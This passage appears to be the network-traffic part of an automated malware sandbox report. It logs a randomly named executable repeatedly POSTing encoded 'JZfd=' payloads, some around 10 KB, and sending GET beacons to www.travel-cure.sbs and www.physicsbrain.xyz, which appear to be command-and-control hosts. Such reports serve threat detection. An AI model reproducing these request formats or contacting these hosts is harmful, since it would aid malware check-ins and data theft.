data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_e4LRkG2QSEWcowdhadwDkA8W0GljayBrE04mOmc4IHhxHJACsyzw3zLKOJGAlb6QwDIaPOFVnyDGa0kNE8Ip+w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Feb 18, 2025 08:15:23.924149036 CET	579	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjgwOTYxM2EtMzIxMi00NGUwLWEzOTktMjA1MjBiNTczNjY3IiwicGFnZV90aW1lIjoxNzM5ODYyOT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	52495	199.59.243.160	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:26.004981041 CET	857	OUT	POST /0c5p/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.travel-cure.sbs Origin: http://www.travel-cure.sbs Referer: http://www.travel-cure.sbs/0c5p/ Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 55 6d 38 7a 57 4d 39 35 69 53 30 62 71 6f 72 71 64 6c 43 42 47 61 58 48 6d 51 57 55 37 34 33 39 52 47 55 79 59 6d 64 37 66 48 61 7a 6e 70 34 6c 4a 31 4e 66 54 2f 41 53 61 6e 4c 51 37 4a 4a 48 53 32 32 54 70 34 70 63 37 66 73 4e 6f 51 53 43 64 67 63 33 41 4f 55 49 31 42 73 42 59 68 4d 46 4b 48 6f 50 37 37 34 5a 74 48 6e 64 39 4f 71 6e 67 31 52 66 4f 66 72 48 6e 77 67 39 66 50 73 78 52 62 55 44 50 73 56 78 53 47 6c 47 37 38 41 57 5a 73 75 34 42 6a 42 45 59 4b 76 50 4a 62 75 66 64 59 36 43 47 56 77 68 39 77 78 55 58 39 74 76 49 38 59 4f 76 33 35 66 77 74 4e 65 6c 63 2f 71 65 58 47 64 61 74 68 72 38 2f 4c 77 31 42 70 78 55 6e 38 53 36 31 41 3d Data Ascii: JZfd=Um8zWM95iS0bqorqdlCBGaXHmQWU7439RGUyYmd7fHaznp4lJ1NfT/ASanLQ7JJHS22Tp4pc7fsNoQSCdgc3AOUI1BsBYhMFKHoP774ZtHnd9Oqng1RfOfrHnwg9fPsxRbUDPsVxSGlG78AWZsu4BjBEYKvPJbufdY6CGVwh9wxUX9tvI8YOv35fwtNelc/qeXGdathr8/Lw1BpxUn8S61A=
Feb 18, 2025 08:15:26.471092939 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:15:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1126 X-Request-Id: 0bb2488f-7b04-4dc7-9894-481b87228d4c Cache-Control: no-store, max-age=0 Accept-Ch: sec-ch-prefers-color-scheme Critical-Ch: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_e4LRkG2QSEWcowdhadwDkA8W0GljayBrE04mOmc4IHhxHJACsyzw3zLKOJGAlb6QwDIaPOFVnyDGa0kNE8Ip+w== Set-Cookie: parking_session=0bb2488f-7b04-4dc7-9894-481b87228d4c; expires=Tue, 18 Feb 2025 07:30:26 GMT; path=/ Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 65 34 4c 52 6b 47 32 51 53 45 57 63 6f 77 64 68 61 64 77 44 6b 41 38 57 30 47 6c 6a 61 79 42 72 45 30 34 6d 4f 6d 63 34 49 48 68 78 48 4a 41 43 73 79 7a 77 33 7a 4c 4b 4f 4a 47 41 6c 62 36 51 77 44 49 61 50 4f 46 56 6e 79 44 47 61 30 6b 4e 45 38 49 70 2b 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_e4LRkG2QSEWcowdhadwDkA8W0GljayBrE04mOmc4IHhxHJACsyzw3zLKOJGAlb6QwDIaPOFVnyDGa0kNE8Ip+w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Feb 18, 2025 08:15:26.471110106 CET	579	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMGJiMjQ4OGYtN2IwNC00ZGM3LTk4OTQtNDgxYjg3MjI4ZDRjIiwicGFnZV90aW1lIjoxNzM5ODYyOT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	52511	199.59.243.160	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:28.554032087 CET	10939	OUT	POST /0c5p/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.travel-cure.sbs Origin: http://www.travel-cure.sbs Referer: http://www.travel-cure.sbs/0c5p/ Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 55 6d 38 7a 57 4d 39 35 69 53 30 62 71 6f 72 71 64 6c 43 42 47 61 58 48 6d 51 57 55 37 34 33 39 52 47 55 79 59 6d 64 37 66 48 69 7a 6e 62 77 6c 49 57 56 66 42 76 41 53 45 33 4c 52 37 4a 49 64 53 32 2f 61 70 34 6c 71 37 5a 6f 4e 70 7a 61 43 62 52 63 33 56 65 55 49 71 78 73 4d 57 42 4d 63 4b 45 41 4c 37 2f 63 5a 74 48 6e 64 39 4c 75 6e 6e 67 6c 66 4d 66 72 45 67 77 67 70 62 50 73 4a 52 66 35 38 50 73 52 4c 53 32 46 47 37 64 77 57 66 65 32 34 48 7a 42 47 5a 4b 75 49 4a 62 6a 48 64 59 4f 4f 47 56 73 50 39 79 74 55 48 4a 30 45 53 2f 35 59 79 6b 77 44 73 74 56 42 75 72 4c 48 52 57 36 6f 4d 2f 42 6b 73 50 37 37 79 79 41 41 4c 6d 34 76 6b 67 6f 79 61 54 76 74 61 72 61 53 39 4b 33 57 69 37 52 70 57 64 75 47 35 36 53 4c 58 6b 65 62 6c 54 61 62 58 33 4b 42 37 35 2b 58 45 36 39 58 2b 63 65 63 41 45 68 33 55 45 39 6b 4f 47 59 78 4b 76 79 33 48 78 54 51 64 77 73 36 74 4c 55 71 65 75 6f 45 39 67 6c 62 61 6f 6f 79 69 76 4c 54 62 41 6e 61 34 32 37 6d 62 79 2f 36 67 49 54 39 73 48 43 54 63 48 54 6a 73 [TRUNCATED] Data Ascii: JZfd=Um8zWM95iS0bqorqdlCBGaXHmQWU7439RGUyYmd7fHiznbwlIWVfBvASE3LR7JIdS2/ap4lq7ZoNpzaCbRc3VeUIqxsMWBMcKEAL7/cZtHnd9LunnglfMfrEgwgpbPsJRf58PsRLS2FG7dwWfe24HzBGZKuIJbjHdYOOGVsP9ytUHJ0ES/5YykwDstVBurLHRW6oM/BksP77yyAALm4vkgoyaTvtaraS9K3Wi7RpWduG56SLXkeblTabX3KB75+XE69X+cecAEh3UE9kOGYxKvy3HxTQdws6tLUqeuoE9glbaooyivLTbAna427mby/6gIT9sHCTcHTjsIWMzbG0ZWu82RJjCKFA+8pWZW2aOA1doYUbkP8KiyTI1EBZLI70uU8WmwJFYrzU8zvLMHoJQvyDR4tW8AFVOePQVRI5fZ6g4SPSg2myw1wM/UDTxhaq/fMk+4V8kknZz7Aq3fqdTW3VASt2znQZm3mpKcuAmz0DV/LSVJ7qQnOE3cwXhVJGqY28Ue9yLhOSAwv2cPmeHGl4XZ/J3LIJTBKrat5YO5ynLkhaO5KU4IH56xN39B/7Sc7lCQ92Cy6bUag6A+6Q4IjobFAHo8f0oMfYGtc4ZmmFAxCBHEfItmKvXzjshjuXx5sPIy17pP2vWy54OASwItnsJ5YykdE8fvgij/Z0TWg+F2E8Jl0Wvx1+Rjm7GIUDNSXtDJZ5RIKyWdpg69btCZ5PBRHuphQjZ4SHszT/4kyLirjJox1GNm8fJqTemQ3Gl0BNZeGn0ryl0+icmnRY7Y/qPst9xElywAfjO87kTsrFeonE/qMGa/vnflue0S43ebYDORa7RcK+9+M4CFZa5K0fvSoShvDNt8ZNf9e0H0GZ+pdmgbC70A3guXXLvsNBjLox6qlFps9kTjKvVREgoYfE8WM6rqgk1rwNMwCo0sRWU+yB3jfUsecYwA5PmNS8yNwZvcySbJZqn+EHN80vAWJdTM8gEVQ4q1E6r7ksfRTzFna [TRUNCATED]
Feb 18, 2025 08:15:29.004501104 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:15:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1126 X-Request-Id: bf9b5a06-0101-42d9-a713-e235a79da412 Cache-Control: no-store, max-age=0 Accept-Ch: sec-ch-prefers-color-scheme Critical-Ch: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_e4LRkG2QSEWcowdhadwDkA8W0GljayBrE04mOmc4IHhxHJACsyzw3zLKOJGAlb6QwDIaPOFVnyDGa0kNE8Ip+w== Set-Cookie: parking_session=bf9b5a06-0101-42d9-a713-e235a79da412; expires=Tue, 18 Feb 2025 07:30:28 GMT; path=/ Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 65 34 4c 52 6b 47 32 51 53 45 57 63 6f 77 64 68 61 64 77 44 6b 41 38 57 30 47 6c 6a 61 79 42 72 45 30 34 6d 4f 6d 63 34 49 48 68 78 48 4a 41 43 73 79 7a 77 33 7a 4c 4b 4f 4a 47 41 6c 62 36 51 77 44 49 61 50 4f 46 56 6e 79 44 47 61 30 6b 4e 45 38 49 70 2b 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_e4LRkG2QSEWcowdhadwDkA8W0GljayBrE04mOmc4IHhxHJACsyzw3zLKOJGAlb6QwDIaPOFVnyDGa0kNE8Ip+w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Feb 18, 2025 08:15:29.004616976 CET	579	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYmY5YjVhMDYtMDEwMS00MmQ5LWE3MTMtZTIzNWE3OWRhNDEyIiwicGFnZV90aW1lIjoxNzM5ODYyOT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	52532	199.59.243.160	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:31.090898037 CET	570	OUT	GET /0c5p/?JZfd=ZkUTV7pI9Ap5vIyRRAq5W5SemCe80v7MV0MOYxheQ3+8mZZcGVhaedsyExvQ8P0JBljjtNlykIwC9TSJUDwzYqYInCYcfCsRcBd6++ZWi3nQtc+XigtdVu0=&28t=_DlH9FNpJbu HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.travel-cure.sbs Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1)
Feb 18, 2025 08:15:31.565486908 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 18 Feb 2025 07:15:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1462 X-Request-Id: c8c289de-3374-499e-ba23-56e956172565 Cache-Control: no-store, max-age=0 Accept-Ch: sec-ch-prefers-color-scheme Critical-Ch: sec-ch-prefers-color-scheme Vary: sec-ch-prefers-color-scheme X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_mSVhM3YZSnMhNfayv2+7fCjHcpuRmbtwldyTAiHG2t7zWQS+ChT3TTTEVwRySRC3OUSY+sgRqBANzVlSjksfJw== Set-Cookie: parking_session=c8c289de-3374-499e-ba23-56e956172565; expires=Tue, 18 Feb 2025 07:30:31 GMT; path=/ Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6d 53 56 68 4d 33 59 5a 53 6e 4d 68 4e 66 61 79 76 32 2b 37 66 43 6a 48 63 70 75 52 6d 62 74 77 6c 64 79 54 41 69 48 47 32 74 37 7a 57 51 53 2b 43 68 54 33 54 54 54 45 56 77 52 79 53 52 43 33 4f 55 53 59 2b 73 67 52 71 42 41 4e 7a 56 6c 53 6a 6b 73 66 4a 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_mSVhM3YZSnMhNfayv2+7fCjHcpuRmbtwldyTAiHG2t7zWQS+ChT3TTTEVwRySRC3OUSY+sgRqBANzVlSjksfJw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Feb 18, 2025 08:15:31.565531969 CET	915	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzhjMjg5ZGUtMzM3NC00OTllLWJhMjMtNTZlOTU2MTcyNTY1IiwicGFnZV90aW1lIjoxNzM5ODYyOT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	52568	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:36.608201027 CET	840	OUT	POST /ajxq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.physicsbrain.xyz Origin: http://www.physicsbrain.xyz Referer: http://www.physicsbrain.xyz/ajxq/ Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 55 32 61 74 41 51 65 59 38 71 56 46 42 78 4f 47 7a 7a 65 75 46 79 63 4f 52 4c 67 42 4d 62 63 79 78 78 66 70 4b 4b 2b 79 2f 56 6f 73 31 35 4a 61 67 49 75 46 69 77 71 49 38 64 6c 53 50 30 50 30 2f 39 62 48 6b 32 2b 6e 69 33 42 47 62 42 38 62 65 48 59 33 50 6c 4f 47 66 31 71 4d 64 2b 37 38 78 6d 70 61 68 59 66 5a 53 4c 4a 5a 4a 55 4a 56 36 67 61 4a 2f 6f 61 2f 41 68 64 44 68 43 6e 45 4f 4b 57 6f 45 6e 68 7a 6a 2b 32 72 78 35 64 46 78 67 36 65 67 50 42 68 57 5a 78 59 6c 49 73 30 39 76 31 55 4b 62 73 63 4a 59 62 58 6c 6e 50 2b 2f 62 49 44 55 6e 6b 62 77 48 30 73 4e 46 43 43 33 77 3d 3d Data Ascii: JZfd=U2atAQeY8qVFBxOGzzeuFycORLgBMbcyxxfpKK+y/Vos15JagIuFiwqI8dlSP0P0/9bHk2+ni3BGbB8beHY3PlOGf1qMd+78xmpahYfZSLJZJUJV6gaJ/oa/AhdDhCnEOKWoEnhzj+2rx5dFxg6egPBhWZxYlIs09v1UKbscJYbXlnP+/bIDUnkbwH0sNFCC3w==
Feb 18, 2025 08:15:37.053355932 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	52584	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:39.254173994 CET	860	OUT	POST /ajxq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.physicsbrain.xyz Origin: http://www.physicsbrain.xyz Referer: http://www.physicsbrain.xyz/ajxq/ Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 55 32 61 74 41 51 65 59 38 71 56 46 41 51 2b 47 6f 54 69 75 51 43 63 42 55 4c 67 42 56 4c 63 32 78 78 54 70 4b 4c 37 71 2f 68 45 73 79 62 52 61 79 64 43 46 68 77 71 49 6f 74 6b 57 43 55 50 42 2f 39 48 35 6b 7a 47 6e 69 33 56 47 62 44 30 62 65 32 59 32 4a 31 4f 45 58 56 71 4f 58 65 37 38 78 6d 70 61 68 59 62 2f 53 49 35 5a 4a 67 4e 56 31 68 61 4b 33 49 61 38 44 68 64 44 6c 43 6e 41 4f 4b 57 4f 45 69 41 55 6a 34 36 72 78 38 78 46 78 31 61 5a 35 66 42 6a 62 35 78 4c 69 72 59 35 7a 4e 6f 44 55 34 77 6a 43 35 53 79 6b 68 43 6b 75 71 70 55 47 6e 41 6f 74 41 39 59 41 47 2f 4c 73 77 4a 48 66 43 41 6c 47 42 57 78 61 44 63 41 43 43 35 56 50 79 4d 3d Data Ascii: JZfd=U2atAQeY8qVFAQ+GoTiuQCcBULgBVLc2xxTpKL7q/hEsybRaydCFhwqIotkWCUPB/9H5kzGni3VGbD0be2Y2J1OEXVqOXe78xmpahYb/SI5ZJgNV1haK3Ia8DhdDlCnAOKWOEiAUj46rx8xFx1aZ5fBjb5xLirY5zNoDU4wjC5SykhCkuqpUGnAotA9YAG/LswJHfCAlGBWxaDcACC5VPyM=
Feb 18, 2025 08:15:39.727627039 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	52600	13.248.169.48	80	2924	C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe

Timestamp	Bytes transferred	Direction	Data
Feb 18, 2025 08:15:41.802930117 CET	10942	OUT	POST /ajxq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Host: www.physicsbrain.xyz Origin: http://www.physicsbrain.xyz Referer: http://www.physicsbrain.xyz/ajxq/ Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; BRI/1) Data Raw: 4a 5a 66 64 3d 55 32 61 74 41 51 65 59 38 71 56 46 41 51 2b 47 6f 54 69 75 51 43 63 42 55 4c 67 42 56 4c 63 32 78 78 54 70 4b 4c 37 71 2f 68 4d 73 79 75 46 61 67 75 36 46 67 77 71 49 30 39 6b 56 43 55 50 6d 2f 39 4f 2b 6b 7a 43 33 69 30 74 47 61 67 73 62 4f 43 4d 32 41 31 4f 45 56 56 71 4e 64 2b 36 32 78 69 46 65 68 59 4c 2f 53 49 35 5a 4a 6d 68 56 78 77 61 4b 36 6f 61 2f 41 68 64 50 68 43 6d 66 4f 4b 75 77 45 69 4e 6a 67 49 61 72 78 63 68 46 2b 6d 79 5a 6d 50 42 74 49 4a 77 57 69 72 46 35 7a 4e 6b 50 55 37 73 4a 43 35 57 79 6b 45 66 6e 79 4a 56 32 63 58 55 36 36 69 77 36 4e 45 54 4d 33 6a 64 44 61 79 30 4c 63 54 62 61 51 41 31 52 5a 53 68 68 53 69 37 4b 49 39 63 56 42 35 70 63 79 4b 7a 57 43 6d 79 30 37 75 67 75 37 57 31 39 31 48 39 65 36 72 54 55 79 4d 51 30 50 6c 48 6a 77 30 73 41 43 6d 49 47 51 70 58 62 53 47 2f 4b 6b 58 4d 48 41 37 31 6d 33 71 42 35 41 30 76 53 5a 72 30 36 63 57 54 57 69 69 47 49 53 6b 46 74 55 4d 69 57 48 74 74 4f 68 6a 72 6a 65 43 34 49 6e 70 2f 47 71 51 4e 52 47 77 6c 42 55 [TRUNCATED] Data Ascii: 